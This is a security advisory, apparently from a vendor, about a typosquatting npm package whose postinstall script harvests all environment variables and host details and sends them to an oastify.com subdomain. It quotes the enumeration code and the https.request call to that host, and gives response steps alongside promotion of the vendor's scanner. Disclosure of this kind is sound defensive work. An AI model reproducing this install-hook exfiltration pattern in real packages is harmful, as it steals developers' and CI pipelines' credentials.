@0xlr/stripe-checkout-jsnpm
Malicious code in @0xlr/stripe-checkout-js (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
On npm install, postinstall.js enumerates the full process.env keyspace plus host identifiers (os.hostname(), username, homedir, cwd, argv, OS details) and POSTs the resulting JSON payload over HTTPS to rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com — a Burp Collaborator out-of-band subdomain used as attacker-controlled exfiltration infrastructure. The relevant code is Object.keys(process.env).sort().forEach(k => { env[k] = process.env[k]; }) followed by https.request({hostname: 'rytxau88zxh61dw6qz4yn19naeg54vsk.oastify.com', port: 443,..., method: 'POST'}). On developer and CI hosts, process.env routinely contains credential-grade values (AWS_*, NPM_TOKEN, GITHUB_TOKEN, CI/CD secrets), all of which are captured and shipped off-host without consent. The package name typosquats the legitimate stripe-checkout-js, and the version (999.0.0) is consistent with a placeholder/squat release rather than a real maintained library.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for @0xlr/stripe-checkout-js (version 999.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging @0xlr/stripe-checkout-js across your stack and pipelines.
If you installed it — respond
@0xlr/stripe-checkout-js is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @0xlr/stripe-checkout-js was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks @0xlr/stripe-checkout-js before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @0xlr/stripe-checkout-js-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.